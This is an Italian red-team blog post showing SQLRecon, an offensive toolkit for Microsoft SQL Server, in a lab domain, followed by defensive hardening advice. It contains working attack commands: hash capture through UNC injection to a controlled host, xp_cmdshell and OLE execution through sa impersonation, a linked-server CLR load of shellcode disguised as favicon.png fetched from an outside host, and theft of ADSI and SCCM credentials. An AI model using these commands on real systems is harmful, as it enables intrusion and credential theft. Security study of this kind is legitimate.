Database, attenzione: abuso di Microsoft SQL Server con SQLRecon

Nel corso della mia carriera, ho avuto l'opportunità privilegiata di sbirciare dietro il velo di alcune delle più grandi organizzazioni al mondo. Nella mia esperienza, la maggior parte dei settori verticali si affida alle reti aziendali Windows. In effetti, posso contare sulle dita di una mano le volte in cui ho visto una rete zero-trust decentralizzata, Linux aziendale, una rete macOS o un'alternativa ad Active Directory (FreeIPA).

Mentre mi oriento tra queste grandi e spesso complesse reti aziendali, è comune scoprire i Microsoft SQL Server, che sono stati tipicamente distribuiti per supportare una funzione aziendale. Per i lettori che non conoscono SQL Server, in sintesi, si tratta di un software di database relazionale solitamente installato sopra un server Windows. Lo scopo principale di SQL Server è memorizzare e fornire dati ad applicazioni o utenti.

Questo post sul blog esaminerà la superficie di attacco presentata da SQL Server e come sfruttare le configurazioni errate e le vulnerabilità utilizzando lo strumento di X-Force Red SQLRecon . Inoltre, ove applicabile, verranno delineate considerazioni difensive.

Le vulnerabilità e le configurazioni errate in SQL Server sono state ben documentate. Sebbene queste debolezze siano apparentemente sempre esistite, in qualche modo il rafforzamento di SQL Server continua a essere spesso trascurato dai team difensivi. Mi riferisco principalmente al rafforzamento della configurazione sottostante e alla prevenzione di accessi banali al servizio.

Una plausibile spiegazione per questa mancanza è che ci siano rischi più gravi a cui un'organizzazione deve dare priorità e occuparsi. Di conseguenza, il rafforzamento di SQL Server viene messo in secondo piano, poiché la modifica delle configurazioni dei database di produzione può causare problemi di disponibilità, che potrebbero tradursi in problemi operativi e influenzare in ultima analisi la produttività aziendale.

Una delle configurazioni errate più comuni che continuo a riscontrare nelle reti aziendali è la possibilità per qualsiasi oggetto autenticato del dominio di connettersi al servizio SQL come account con privilegi bassi. Questo richiede solo un contesto di dominio valido. In altre parole, un token valido per un utente di dominio o un account computer di dominio.

Per fare un esempio, se la workstation di un utente business viene compromessa ed esiste un percorso di rete verso un SQL Server non configurato correttamente, un avversario potrebbe:

• Eseguire comandi SQL limitati sull'SQL Server remoto.
• Determinare i privilegi di cui dispone, che potrebbero fornire opportunità di escalation tramite attacchi di tipo impersonificazione.
• Istruire l'SQL Server a fornire materiali di autenticazione tramite una richiesta verso un percorso Universal Naming Convention (UNC), ottenendo così credenziali con hash, che possono essere decifrate o riutilizzate per attacchi di tipo relay.
• Sfruttare i diritti assegnati a un SQL Server collegato ad altri SQL Server, con possibilità di escalation dei privilegi.

Questi sono solo alcuni esempi di ciò che un avversario può ottenere valutando un SQL Server non configurato correttamente in un contesto di dominio. La superficie di attacco presentata da SQL Server dipenderà sempre dall'ambiente e dalla configurazione che si sta affrontando.

Negli ultimi tempi, gli operatori dei red team sono stati fortunati grazie alla varietà di abusi di Active Directory che possono essere sfruttati per elevare i privilegi nelle reti Microsoft aziendali. Tuttavia, man mano che i team difensivi iniziano a gestire la mitigazione di queste vulnerabilità, è naturale che le vie per l'escalation dei privilegi tramite abusi di Active Directory tendano a ridursi.

Tuttavia, continuiamo a procedere lungo la proverbiale lista di attacchi, cercando con ottimismo percorsi di escalation che ci aiutino a raggiungere i nostri obiettivi. Ammetto con un po' di riluttanza che, anche nel mio caso, per molto tempo l'attacco a SQL Server è stato piuttosto in fondo alla mia lista. Ho preferito invece dare priorità a spazi di storage condivisi, applicazioni web interne, strumenti DevOps o infrastrutture cloud. Probabilmente capisci dove voglio arrivare…

A un certo punto del 2022, ero impegnato in un incarico e avevo raggiunto un punto morto dopo aver esaurito tutte le vie di escalation preferite. Questo era dovuto soprattutto a un ambiente eccezionalmente ben protetto. O almeno, così pensavo, prima di scoprire una grande farm di SQL Server, dove doveva per forza esserci una configurazione errata o una vulnerabilità.

Ignaro di tutto all'epoca, e solo dopo aver scritto questo post sul blog, ho scoperto che Kaspersky aveva rilevato un aumento del 56% degli attacchi ricorrenti che utilizzano SQL Server nel 2022. Si tratta di una cifra impressionante.

In qualità di operatore del red team, interagisco spesso con i sistemi che ho compromesso nelle reti dei nostri clienti utilizzando un framework di comando e controllo (C2). I clienti con cui abbiamo la fortuna di lavorare di solito dispongono di programmi di sicurezza informatica maturi, team difensivi capaci e controlli di sicurezza moderni, come soluzioni di rilevamento e risposta degli endpoint (EDR).

Nel corso degli anni sono stati sviluppati diversi strumenti per attaccare SQL Server. Quello che finivo sempre per raggiungere durante i miei giorni di test di penetrazione era PowerUpSQL . Si tratta di un progetto creato da Scott Sutherland (@_nullbind), sviluppato in gran parte in PowerShell.

Le soluzioni di rilevamento e risposta degli endpoint (EDR) possono essere un avversario formidabile da affrontare, poiché fanno un lavoro fantastico nel rilevare strumenti open source dannosi progettati per la sicurezza offensiva, specialmente quelli che si affidano a PowerShell. Non sto sminuendo gli strumenti post-sfruttamento su PowerShell, che hanno un loro scopo, ma non erano adatti al problema che avevo nell’ambiente in cui lavoravo.

Il problema che stavo affrontando durante il mio incarico era che dovevo trovare un modo per connettermi ai Microsoft SQL Server e iniziare a interrogarli per determinare se ci fossero delle configurazioni errate o delle vulnerabilità. Tuttavia, utilizzare uno qualsiasi degli strumenti di post-sfruttamento di SQL Server esistenti, basati su PowerShell, sarebbe stato un modo sicuro per farsi scoprire dal team difensivo. Questo per una serie di motivi, che non approfondirò in dettaglio, ma PowerShell non è un ambiente ideale per condurre attacchi post-sfruttamento a causa di funzionalità di sicurezza come AMSI, la modalità linguaggio vincolato e diversi tipi di registrazione. La situazione è ulteriormente aggravata quando sono in atto una soluzione EDR e altri controlli di registrazione e monitoraggio.

Come alternativa, gli operatori del red team spesso scelgono C# come linguaggio per sviluppare strumenti post-sfruttamento, poiché offre un modo semplice per interfacciarsi con il framework insieme alle API di Windows.

Non sono affatto uno sviluppatore C# o .NET, ma so quanto basta per scrivere strumenti che risolvono un problema che mi trovo ad affrontare. Da qui nasce SQLRecon , un toolkit SQL in C# progettato per la ricognizione offensiva e il post-sfruttamento.

SQLRecon  aiuta a colmare il divario negli strumenti post-sfruttamento modernizzando l'approccio che gli operatori del red team possono adottare quando attaccano gli SQL Server. Lo strumento è stato progettato per essere modulare, consentendo una facile estensibilità. SQLRecon  è compatibile come strumento autonomo o all'interno di diversi framework C2. Nel secondo caso, SQLRecon  può essere eseguito sia in processo sia tramite il tradizionale metodo fork and run.

SQLRecon  offre oltre 80 moduli tra cui scegliere. Di seguito è riportata una panoramica di alto livello di alcune delle caratteristiche fornite da SQLRecon :

Fornitori di autenticazione

• Account SQL database locale
• Autenticazione del dominio Windows basata sul token attuale
• Autenticazione del dominio Windows con credenziali fornite dall'utente
• Autenticazione del dominio Azure
• Autenticazione locale di Azure

Moduli di enumerazione

• Individuare SQL Server associati a un nome principale del servizio (SPN)
• Ottenere informazioni sul servizio SQL
• Determinare i privilegi all'interno di SQL Server
• Elencare database, tabelle, colonne e utenti
• Cercare contenuti nei database
• Eseguire domande arbitrarie
• Enumerare gli utenti che possono essere impersonati
• Identificare SQL Server collegati

Esecuzione del comando, movimento laterale ed escalation dei privilegi

• xp_cmdshell
• Procedure di automazione OLE
• Caricare ed eseguire assembly .NET CLR personalizzati
• Job di SQL Agent
• Raccolta delle credenziali ADSI

Sicurezza operativa

• Convalida continua dell'autenticazione
• Ampia registrazione della riga di comando
• I guardrail di esecuzione si basano sull'abilitazione o sulla disabilitazione delle opzioni di SQL Server
• Gestione degli errori di argomento
• Creazione di contenuti SQL alfanumerici randomizzati, ove applicabile
• Pulizia automatica dei dati creati in SQL Server per scopi di esecuzione dei comandi

Altro

• Capacità di cambiare contesti di database
• Connessione a SQL Server che ascoltano su porte TCP non standard
• Supporto per attacchi di tipo impersonificazione
• Capacità di enumerare e attaccare SQL Server collegati
• Supporto per una varietà di attacchi ai SQL database di Microsoft Systems Center Configuration Manager (SCCM) e Microsoft Endpoint Configuration Manager (ECM)
• Tutte le SQL Query utilizzano il namespace System.Data.SqlClient  , sviluppato da Microsoft

Per informazioni dettagliate sull'uso di ciascuna tecnica, consulta la wiki.

Per preparare il terreno alle prossime dimostrazioni, opererò su una workstation Windows 10 compromessa che appartiene a Jeff Smith(JSmith) nella rete aziendale kawalabs.local  .

La workstation di Jeff ha un percorso di rete verso tre SQL Server, ognuno dei quali esegue versioni diverse; 2016, 2019 e 2022.

È stato configurato un collegamento SQL tra SQL01  e SQL02 , ed è stato configurato un altro collegamento SQL tra SQL02  e SQL03 . Per i lettori che non conoscono gli SQL Server collegati, ciò consente di fatto a un'istanza SQL di eseguire istruzioni SQL su un'altra istanza SQL. Per esempio, SQL01  può eseguire istruzioni SQL su SQL02, e SQL02  può eseguire istruzioni su SQL03, ma SQL01 non può eseguire istruzioni su SQL03  e viceversa. È comune vedere SQL Server collegati in reti aziendali reali.

Inoltre, esiste un collegamento Active Directory Services (ADSI) tra SQL03  e il controller di dominio primario nel dominio kawalabs.local  , DC01 . I collegamenti ADSI forniscono a SQL Server un modo per interagire con gli oggetti di Active Directory.

Infine, il dominio kawalabs.local  è stato connesso a un dominio di Azure Active Directory, kawalabs.onmicrosoft.com  usando Azure AD Connect. Ciò consente agli utenti di Active Directory on-premise in kawalabs.local  di accedere alle risorse nel cloud Azure. La tenancy Azure AD  kawalabs.onmicrosoft.com  contiene un SQL Server che memorizza i dati di pagamento, ECOM01 .

Figura 1: Configurazione di rete

Inoltre, userò Cobalt Strike, un popolare framework di comando e controllo, per eseguire attività post-sfruttamento dalla workstation compromessa di Jeff(DESKTOP-LF8Q3C6) . Nella seguente schermata, ho eseguito il comando whoami  . Questo serve solo a mostrare che Jeff non è un utente privilegiato e ha i diritti di base all'interno del dominio kawalabs.local  e nella rete più ampia.

Figura 2: Esecuzione del comando whoami

Al momento della stesura,SQLRecon ha due moduli di enumerazione che possono essere utilizzati per scoprire gli SQL Server in una rete e ottenere alcune informazioni su un'istanza di SQL Server. Il seguente comando enumererà i nomi principali del servizio (SPN) di Active Directory e identificherà se sono disponibili SPN per SQL Server. Nel dominio kawalabs.local c'è un SPN impostato per un paio di account diversi, come dimostra la schermata qui sotto.

SQLRecon.exe /e:SqlSpns /d:kawalabs.local

Figura 3: Scoprire SQL Server tramite la raccolta di SPN

Il wrapper info  modulo è molto utile per ottenere informazioni aggiuntive su un server. L'esempio seguente dimostra il tipo di informazioni che vengono recuperate da un SQL Server.

SQLRecon.exe /a:WinToken /h:SQL02 /m:info

Figura 4: Ottenere informazioni su SQL02

Un saluto a Daniel Duggan(@_RastaMouse) per il suo contributo ai moduli di enumerazione in SQLRecon .

I moduli standard vengono eseguiti contro un'unica istanza di SQL Server.

Nel seguente esempio, uso il provider di autenticazione AzureAD  , che utilizza il nome utente e la password di un account Azure Active Directory per autenticarsi su ECOM01 , un'istanza SQL situata nel cloud Azure. Quindi uso il modulo whoami  per determinare i privilegi di Jeff su ECOM01 .

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami

Figura 5: Enumerazione dei privilegi SQL per jsmith@kawalabs.onmicrosoft.com

Per impostazione predefinita, SQLRecon  si connette al database master  , poiché questo database è in genere presente in tutte le istanze di SQL Server. Tuttavia, è possibile elencare facilmente tutti i diversi database presenti sulle istanze SQL Server utilizzando il modulo databases  .

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases

Figura 6: Enumerazione dei database su ECOM01

È possibile connettersi ad altri database specificando il nome del database con il flag /database : e passando qualsiasi modulo si voglia eseguire. Nell'esempio sotto, mi collego al database Payments  su ECOM01  ed eseguo una SQL Query che otterrà tutto il contenuto dalla tabella cc  .

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"

Figura 7: Ottenere dei dati di carte fittizie dalla tabella cc  nel database Payments  su ECOM01

Passando ad alcuni moduli più interessanti, SQLRecon  supporta l'injection di percorsi UNC, che può essere eseguita da un account utente con privilegi bassi, come ad esempio KAWALABS\JSmith . In questo modo si possono ottenere credenziali, che a loro volta possono essere decifrate o trasmesse per eseguire attacchi di tipo relay. Nel seguente esempio, uso il provider di autenticazione WinToken  , che utilizza il token dell'account utente KAWALABS\JSmith  , per autenticarmi su SQL02 , un server on-premise.

SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects

Figura 8: Injection del percorso UNC

Nella schermata seguente, possiamo vedere il collegamento creato da SQL02  a un host sotto il nostro controllo (172.16.10.19). In questo modo si ottiene l'hash di NetNTLMv2 per l'account di dominio KAWALABS\mssql_svc  .

Figura 9: Ottenere l'hash NetNTLMv2 per KAWALABS\mssql_svc

SQLRecon  dispone di una varietà di moduli di esecuzione dei comandi che possono essere utilizzati per eseguire comandi arbitrari sul sistema sottostante. Questo è particolarmente utile se si cerca di effettuare un'escalation dei privilegi e/o un movimento laterale. Sono state implementate importanti barriere di sicurezza in tutto SQLRecon per garantire che la sicurezza operativa sia abilitata di per impostazione predefinita. I due principali guardrail sono:

• Convalida continua dell'autenticazione, in cui SQLRecon  verifica la possibilità di autenticarsi al dominio o all'SQL Server prima di eseguire qualsiasi modulo.
• Guardrail per l'esecuzione, in cui SQLRecon  verifica che esistano condizioni ottimali prima di eseguire moduli che caricano oggetti, creano oggetti o eseguono comandi.

xp_cmdshell  è da tempo uno dei metodi più comuni per eseguire comandi sul server sottostante tramite un SQL database. Nel seguente esempio, ho usato l'account con privilegi bassi KAWALABS\JSmith  per tentare di avviare l'applicazione notepad.exe  su SQL01 .

SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe

Figura 10: Dimostrazione del guardrail che impedisce l'esecuzione dei comandi

Come si vede nell'immagine qui sopra, si incontra un ostacolo di esecuzione e si riceve un messaggio di errore che indica che xp_cmdshell  è disabilitato. Questa è solitamente la configurazione predefinita nella maggior parte delle versioni di SQL Server. La cosa bella è che, SQLRecon  ha un modulo enableXp  , che abiliterà la configurazione xp_cmdshell  . SQLRecon ha anche un modulo disableXp  che permette di tornare allo stato sicuro originale dopo aver eseguito un comando con xpCmd .

SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp

Figura 11: Dimostrazione di un altro guardrail, in cui privilegi insufficienti impediscono l'esecuzione dei comandi

Come previsto, l'account con privilegi bassi KAWALABS\JSmith  incontra un guardrail di esecuzione e riceve un messaggio che indica che non ha i privilegi necessari per abilitare o disabilitare xp_cmdshell  … oppure sì?

L'impersonificazione SQL è un'autorizzazione speciale che essenzialmente consente a un utente o a un gruppo di operare con il permesso di un altro utente, oltre che con le proprie autorizzazioni. La schermata seguente è stata tratta dalla configurazione backend di SQL02  e dimostra che BUILTIN\Users  può impersonare l'account sa  .

Figura 12: BUILTIN\Users  può impersonare l'account sa  su SQL02

SQLRecon  ha un modulo impersonate  per aiutare a determinare se un account utente può impersonare un altro utente.

SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate

Come si vede nella schermata qui sotto, l'account utente con privilegi bassi KAWALABS\JSmith  può impersonare l'account sa  su SQL02 . Questo dimostra la capacità di eseguire comandi sull'istanza SQL con privilegi simili a quelli di un amministratore. Inoltre, significa che ora possiamo eseguire comandi di sistema sul server sottostante.

Figura 13: Enumerazione degli account che possono essere impersonati su SQL02

Per dimostrare un altro modulo di esecuzione dei comandi, SQLRecon  può eseguire comandi sull'utente sottostante utilizzando le procedure di automazione OLE. Questo utilizza l'assembly odsole70.dll  per interagire con gli oggetti COM in modo che wscript.shell  possa essere utilizzato per eseguire comandi di sistema arbitrari.

I moduli di impersonificazione sono sempre preceduti dalla lettera i , e questi moduli richiederanno il nome dell'account che verrà impersonato. Nel seguente esempio, mi connetto a SQL02  come l'account con privilegi bassi KAWALABS\JSmith  e impersono l'account sa  per abilitare le procedure di automazione OLE su SQL02 .

a:WinToken /h:SQL02 /i:sa /m:iEnableOle

Figura 14: Abilitazione delle procedure di automazione OLE mediante impersonificazione

Ora che le procedure di automazione OLE sono abilitate su SQL02 , sono in grado di eseguire qualsiasi comando arbitrario sul server sottostante nel contesto dell'account utente che ha avviato il processo SQL Server. Nel seguente esempio, eseguo un processo figlio PowerShell che elenca la directory della stessa condivisione utilizzata in precedenza per catturare le credenziali NetNTLMv2. Si ricorda che quanto mostrato ha prevalentemente finalità dimostrative e non rappresenta un'operazione tipicamente eseguita durante un'attività di simulazione di attacco su un avversario.

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"

Figura 15: Utilizzo di PowerShell per elencare una directory su un host remoto

Come mostrato nella schermata sopra, vengono generati casualmente un oggetto OLE e un metodo, il comando dannoso viene quindi eseguito e gli oggetti OLE vengono distrutti. Questo è intenzionale perché non vogliamo lasciare tracce delle nostre azioni.

Nella schermata seguente, possiamo vedere la connessione creata dall'account utente KAWALABS\mssql_svc  tramite SQL02  a un host sotto il nostro controllo (172.16.10.19). In questo modo si ottiene l'hash NetNTLMv2 per l'account computer KAWALABS \mssql_svc  .

Figura 16: Ottenere l'hash NetNTLMv2 per KAWALABS\mssql_svc

L'esempio seguente dimostra l'utilizzo dell'impersonificazione per eseguire il comando tasklist  usando xp_cmdshell  su SQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist

Figura 17: Abilitazione di xp_cmdshell  ed esecuzione di comandi di sistema usando l'impersonificazione su SQL02

È sempre buona prassi riportare le configurazioni allo stato in cui si trovavano originariamente.

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp

Figura 18: Disabilitazione delle procedure di automazione OLE e xp_cmdshell  su SQL02

SQLRecon  può anche eseguire attacchi contro istanze collegate di SQL Server. La schermata seguente è stata tratta dalla configurazione backend di SQL02  e dimostra che SQL02  ha un collegamento a SQL03 . Dalla mia esperienza, questa è una configurazione comune nelle grandi reti aziendali.

Figura 19: SQL02  ha un collegamento SQL a SQL03

La configurazione di un collegamento da un'istanza di SQL Server a un'altra richiede spesso una serie di credenziali privilegiate per stabilire e vincolare il collegamento. Questo è vantaggioso per gli avversari poiché consente di eseguire comandi sull'SQL Server collegato nel contesto dell'account che ha stabilito la connessione. Un altro punto da considerare è che i server collegati possono essere segmentati dalla rete su cui opera un avversario. Questo potrebbe rappresentare l'opportunità di attraversare i confini di segmentazione ed entrare in una zona di rete con requisiti di sicurezza più elevati.

SQLRecon  ha un modulo links  per determinare se un SQL Server possiede istanze SQL collegate.

SQLRecon.exe /a:WinToken /h:SQL02 /m:links

Figura 20: Enumerazione degli SQL Server collegati su SQL02

I moduli collegati sono sempre preceduti dalla lettera l , e questi moduli richiedono il nome del server collegato su cui vuoi eseguire i comandi. Nel seguente esempio, mi connetto a SQL02  come l'account con privilegi bassi KAWALABS\JSmith  ed eseguo il comando lWhoami  sull'istanza collegata SQL03  .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami

Figura 21: Enumerazione dei privilegi SQL che possiamo assumere su SQL03  tramite SQL02

Come mostrato nella schermata sopra, stiamo operando nel contesto dell'account sa  su SQL03 . Questo perché l'account sa è stato usato per stabilire il collegamento SQL da SQL02  a SQL03 .

Tutti i moduli di esecuzione in SQLRecon  sono completamente supportati su SQL Server collegati. Nel seguente esempio, abilito l'integrazione Common Language Runtime (CLR) su SQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr

Figura 22: Abilitazione dell'integrazione CLR su SQL02

L'integrazione CLR consente di importare assembly .NET personalizzati in SQL Server. Questi assembly vengono memorizzati all'interno di una procedura memorizzata prima di essere eseguiti. Si tratta di una primitiva molto utile per movimenti laterali.

Nella schermata seguente, creo un assembly .NET personalizzato compatibile con SQL Server CLR di nome hollow.dll .  Questo memorizzerà un payload di Cobalt Strike in una procedura memorizzata denominata ExecuteShellcode . Il payload esegue un processo di process hollowing di base e inietta lo shellcode di Cobalt Strike in un nuovo processo di Internet Explorer(iexplore.exe) node.js.

Figura 23: hollow.dll , un assembly .NET compatibile con SQL Server CLR

Se vuoi saperne di più sugli assembly .NET personalizzati compatibili con SQL Server CLR, visita la sezione Clr della wiki SQLRecon  . Un esempio di hollow.dll  è disponibile qui.

Nella seguente dimostrazione ho caricato hollow.dll  su un server web e rinominato l'assembly in favicon.png . Istruisco il server collegato SQL03  a scaricare favicon.png  da un server web, eseguire i passaggi necessari per importare l'assembly personalizzato in una procedura memorizzata SQL Server ed eseguire il payload. Questo porta all'ottenimento di un beacon di Cobalt Strike nel contesto dell'utente KAWALABS\mssql_svc  utente su SQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode

Figura 24: Ottenere un beacon di Cobalt Strike nel contesto di KAWALABS\mssql_svc  su SQL03

Ovviamente, l'esempio precedente richiede che SQL03  disponga di un accesso a Internet per scaricare l'assembly da un server web pubblico. Ci sono casi in cui scaricare una risorsa straniera da un server web pubblico non è possibile o auspicabile. Per questo motivo, SQLRecon  consente di caricare assembly personalizzati direttamente dal file system dell'host compromesso, oppure da una condivisione SMB. Nella seguente dimostrazione ho caricato hollow.dll  su un server SMB locale e ha rinominato l'assembly in Reports.xlsx . Istruisco il server collegato SQL03  a scaricare Reports.xlsx  dal server SMB, eseguire i passaggi necessari per importare l'assembly personalizzato in una procedura memorizzata SQL Server ed eseguire il payload. Questo porta all'ottenimento di un beacon Cobalt Strike nel contesto dell'utente KAWALABS\mssql_svc  utente su SQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode

Figura 25: Ottenere un beacon di Cobalt Strike nel contesto di

 KAWALABS\mssql_svc<code> on <code>SQL03

SQLRecon  può anche eseguire attacchi contro istanze di server ADSI collegate per ottenere credenziali in chiaro degli account di dominio. Per ulteriori informazioni sulle tecniche ADSI, consulta il post sul blog di Tarlogic. La schermata seguente è tratta dalla configurazione backend di SQL03  e dimostra che SQL03  ha un collegamento ADSI al controller di dominio primario del dominio kawalabs.local  , DC01 . Questo collegamento ADSI è rappresentato dall'oggetto linkADSI  .

Figura 26: SQL03  ha un collegamento ADSI con DC01

La configurazione di un collegamento ADSI da un'istanza di SQL Server a un controller di dominio Active Directory non richiede necessariamente credenziali privilegiate. Tuttavia, durante operazioni reali, ho visto casi in cui il principio del minimo privilegio non è stato applicato.

Nel seguente esempio, uso il provider di autenticazione lLinks  per connettermi prima a SQL02 e poi interrogare SQL03  per trovare altri SQL Server collegati. Si può considerare questo come uno scenario di collegamento doppio.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks

Figura 27: Enumerazione dei collegamenti su SQL03  da SQL02

Ora che abbiamo verificato che esiste un collegamento ADSI su SQL03 , possiamo utilizzare il modulo lAdsi  per ottenere le credenziali di dominio in chiaro usate per configurare la connessione ADSI da SQL03  a DC01 . Questo comporta il caricamento di un assembly CLR personalizzato che contiene un server LDAP in una nuova routine di tempo di esecuzione di SQL Server su SQL03 . Il server LDAP verrà quindi eseguito e ascolterà connessioni locali su una porta scelta dall'utente, in questo caso la 49103. Successivamente utilizziamo i job di SQL Server su SQL03 per indirizzare le credenziali utilizzate nella configurazione della connessione ADSI affinché richiedano una richiesta LDAP al server LDAP locale sulla porta 49103. Questa temporanea redirezione dell'autenticazione LDAP è ciò che consente infine di ottenere le credenziali di dominio in chiaro. Va sottolineato che i moduli Adsi e iAdsi non utilizzano i job dell'agente di SQL Server per avviare il processo di richiesta LDAP, ma impiegano normali SQL Query.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103

Figura 28: Attacco di raccolta credenziali ADSI a doppio collegamento

Una delle più grandi estensioni di SQLRecon  proviene dal mio collega Dave Cossa (@G0ldenGunSec), che ha introdotto una serie di moduli che possono essere utilizzati per abusare di Microsoft System Center Configuration Manager (SCCM) e Microsoft Endpoint Configuration Manager (ECM). I moduli SCCM sono stati sviluppati partendo da un caso reale, dove l'abuso del database SQL Server di SCCM ha facilitato il raggiungimento dei nostri obiettivi. Nella maggior parte dei casi, per interagire con il database SCCM, è necessario acquisire un contesto di privilegi elevato oppure ottenere l'accesso al server SCCM. Negli esempi seguenti, ho un beacon di Cobalt Strike in esecuzione nel contesto dell'account KAWALABS\mssccm_svc  su un server ECM, MECM01 .

Da questo momento in poi mi riferirò semplicemente a ECM e SCCM come SCCM.

Nel seguente esempio, utilizzo il modulo databases per enumerare idatabases che esistono nell'istanza di SQL Server su MECM01 .

SQLRecon.exe /a:WinToken /h:MECM01 /m:databases

Figura 29: Enumerazione dei database su MECM01

Come si vede nella schermata qui sopra, il database CM_KAW  è presente e rappresenta molto probabilmente il database configurato per SCCM su questo server.

I moduli SCCM sono sempre preceduti dalla lettera s e questi moduli avranno bisogno del nome del database SCCM su cui si desidera inviare comandi. Nel seguente esempio, mi collego al database CM_KAW  su MECM01  come l'account KAWALABS\mssccm_svc  ed eseguo il comando sUsers  . Questo modulo enumera tutti i principi configurati per accedere al server SCCM.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

Figura 30: Enumerazione di tutti gli utenti che possono accedere a SCCM tramite il database SQL Server di SCCM

È anche possibile enumerare le attività configurate in SCCM utilizzando il modulo sTaskList  .

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

Figura 31: Enumerazione delle attività configurate in SCCM tramite il database SQL Server di SCCM

SCCM di solito deve memorizzare in modo sicuro le credenziali, che vengono usate per autenticarsi a sistemi o risorse nell'ambiente per distribuire pacchetti software o svolgere altre azioni offerte da SCCM. Usando il modulo sCredentials  , possiamo ottenere un elenco di credenziali memorizzate.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials

Figura 32: Ottenere credenziali memorizzate tramite il database SQL Server di SCCM

Nella schermata qui sopra, vediamo che una credenziale è stata memorizzata in modo sicuro, ed è la credenziale per l'account KAWALABS\mssccm_svc  .

Utilizzando la logica di Adam Chester (@_xpn_) è possibile decifrare le credenziali memorizzate in SCCM e ottenere la password in chiaro per gli account memorizzati. Questo richiede però i privilegi di amministratore locale sul server SCCM. Nella seguente schermata, utilizzo l'account sDecryptCredentials  per decrittografare le credenziali memorizzate per l'account KAWALABS\mssccm_svc  .

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials

Figura 33: Decifrazione delle credenziali memorizzate in SCCM

Per impedire ai criminali di abusare di SQL Server, chi si difende dagli attacchi può adottare un approccio stratificato nell'implementazione dei controlli di sicurezza. Innanzitutto, consiglio vivamente di leggere la guida ufficiale di Microsoft sulle best practice per la sicurezza di SQL Server.

La prossima tappa dovrebbe essere la sezione su prevenzione, rilevamento e mitigazione nella documentazione diSQLRecon  wiki, che offre alcune eccellenti considerazioni per difendersi. Ho selezionato un paio dei controlli più importanti da implementare e li ho elencati qui sotto.

I seguenti controlli di sicurezza dovrebbero essere presi in considerazione per l'implementazione a livello di rete.

• Assicurati che le rotte di rete verso gli SQL Server siano state verificate e limitate solo a un insieme autorizzato di sistemi o sottoreti. Le workstation raramente richiedono la capacità di comunicare direttamente con gli SQL Server. Considera di bloccare l'accesso a TCP 1433 se possibile.
• Verifica che gli strumenti di registrazione e di monitoraggio di rete catturino le SQL Query che attraversano i confini della rete. Sarebbe insolito che una workstation inviasse SQL Query a un SQL Server.

Workstation e server nell'ambiente.

• Convalida che i controlli di sicurezza basati su host, come le soluzioni di rilevamento e risposta degli endpoint, siano abilitati e che le firme dei prodotti siano regolarmente aggiornate.
• I difensori dovrebbero assicurarsi che .NET Framework v4.8 sia installato sugli endpoint Windows e che qualsiasi prodotto di sicurezza basato su host sia compatibile con AMSI per .NET. Questo permette la scansione degli assembly .NET in memoria.
• Abilita o configura una soluzione di whitelisting delle applicazioni per impedire l'esecuzione diretta di binari non firmati, come SQLRecon , sull'endpoint.

• Assicurati che le linee guida di hardening siano state seguite sul sistema operativo Windows Server sottostante. Considera di installare solo i componenti SQL Database necessari.
• Garantisci che gli SQL Server siano inclusi nella politica di gestione delle patch dell'organizzazione e che le patch vengano applicate regolarmente sia al servizio SQL che all'SQL Server.
• Valuta di limitare o rimuovere l'account BUILTIN\Users  dall'autenticazione alle istanze di SQL Server.
• Segui il principio del privilegio minimo quando configuri i ruoli sugli account utente. Questo principio dovrebbe essere applicato anche all'account di servizio che avvia SQL Server.
• Rimuovi le associazioni non necessarie del nome principale di servizio (SPN) di SQL.
• Usa password forti per qualsiasi account locale, come l'account sa  .
• Registra, inserisci centralmente e controlla gli eventi di accesso SQL Server. Netwrix ha scritto un ottimo blog su come raggiungere questo obiettivo.
• Crittografa i contenuti sensibili. Questo protegge i set di dati dall'essere esposti, anche se l'SQL Server viene compromesso.
• Valuta i collegamenti tra SQL Server e determina il tipo di autenticazione che lega il collegamento. Se possibile, scegli di utilizzare il contesto di sicurezza dell'autenticazione corrente, piuttosto che utilizzare il contesto dell'account sa  .
• Valuta eventuali impersonificazioni configurate e determina i loro requisiti.
• Se usi Azure SQL Database, assicurati che Microsoft Advanced Threat Protection sia abilitato e configurato per inviare avvisi.

Gli attacchi contro SQL Server continuano a essere rilevanti nel landscape attuale della cybersecurity. Gli avversari stanno costantemente evolvendo le loro tecniche per eludere i controlli difensivi e, così facendo, utilizzano sempre più i servizi ausiliari, come SQL Server. Questi attacchi sono diventati più sofisticati e furtivi, spesso impiegando tecniche meno comuni per aggirare le misure di sicurezza tradizionali.

